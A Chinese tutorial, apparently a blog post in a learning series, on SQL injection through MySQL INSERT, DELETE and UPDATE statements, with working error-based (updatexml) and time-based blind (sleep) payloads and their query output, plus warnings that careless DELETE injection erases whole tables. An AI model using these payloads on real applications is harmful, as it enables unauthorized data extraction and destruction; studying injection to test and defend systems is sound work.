SQL注入学习之insert,delete,update注入(九)_mysql insert 报错注入

0x00 简介

insert,delete,update 主要是用到盲注和报错注入,此类注入点不建议使用sqlmap等工具,会造成大量垃圾数据,和其他情况。

0x01 insert,delete,update

insert

可以看到假如没闭合是会产生很多垃圾数据的,所以这类注入建议手工或者自己写工具。

一般这种注入会出现在 注册、ip头、留言板等等需要写入数据的地方,同时这种注入不报错一般较难发现。

  1. 报错
mysql> insert into admin (id,username,password) values (2,"or updatexml(1,concat(0x7e,(version())),0) or","admin");
Query OK, 1 row affected (0.00 sec)

mysql> select * from admin;
+------+-----------------------------------------------+----------+
| id   | username                                      | password |
+------+-----------------------------------------------+----------+
|    1 | admin                                         | admin    |
|    1 | and 1=1                                       | admin    |
|    2 | or updatexml(1,concat(0x7e,(version())),0) or | admin    |
+------+-----------------------------------------------+----------+
3 rows in set (0.00 sec)

mysql> insert into admin (id,username,password) values (2,""or updatexml(1,concat(0x7e,(version())),0) or"","admin");
ERROR 1105 (HY000): XPATH syntax error: '~5.5.53'


  1. 盲注

int型 可以使用 运算符 比如 加减乘除 and or 异或 移位等等

mysql> insert into admin values (2+if((substr((select user()),1,1)='r'),sleep(5),1),'1',"admin");
Query OK, 1 row affected (5.00 sec)

mysql> insert into admin values (2+if((substr((select user()),1,1)='p'),sleep(5),1),'1',"admin");
Query OK, 1 row affected (0.00 sec)


字符型注意闭合不能使用and

mysql> insert into admin values (2,''+if((substr((select user()),1,1)='p'),sleep(5),1)+'',"admin");
Query OK, 1 row affected (0.00 sec)

mysql> insert into admin values (2,''+if((substr((select user()),1,1)='r'),sleep(5),1)+'',"admin");
Query OK, 1 row affected (5.01 sec)


注意盲注产生大量垃圾数据。

delete

报错注入同上

值得注意的时delete 注入很危险,很危险,很危险。

语句不当 将会亲人泪两行 or 1=1 因为 1=1 为true 所以每一行被删除了, 他以前用sqlmap一把梭 现在过的很好,每顿都有人送饭到手上。

所以在 delete注入时使用 or 一定要为false

mysql> delete from admin where id =3 or 1=1;
Query OK, 4 rows affected (0.00 sec)


报错注入

mysql> delete from admin where id =-2 or updatexml(1,concat(0x7e,(version())),0);
ERROR 1105 (HY000): XPATH syntax error: '~5.5.53'




盲注

or 配上 if() 函数使用不当 再提下 if(expr1,expr2,expr3),如果expr1的值为true,返回expr2的值,如果expr1的值为false,
返回expr3的值。

mysql> delete from admin where id =-2 or if((substr((select user()),1,1)='r4'),sleep(5),1);
Query OK, 3 rows affected (0.00 sec)


所以 delete中 or 的正确使用方法 (or 右边要为false)

mysql> delete from admin where id =-2 or if((substr((select user()),1,1)='r4'),sleep(5),0);
Query OK, 0 rows affected (0.00 sec)

mysql> delete from admin where id =-2 or if((substr((select user()),1,1)='r'),sleep(5),0);
Query OK, 0 rows affected (5.00 sec)


update

与上面的类似

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值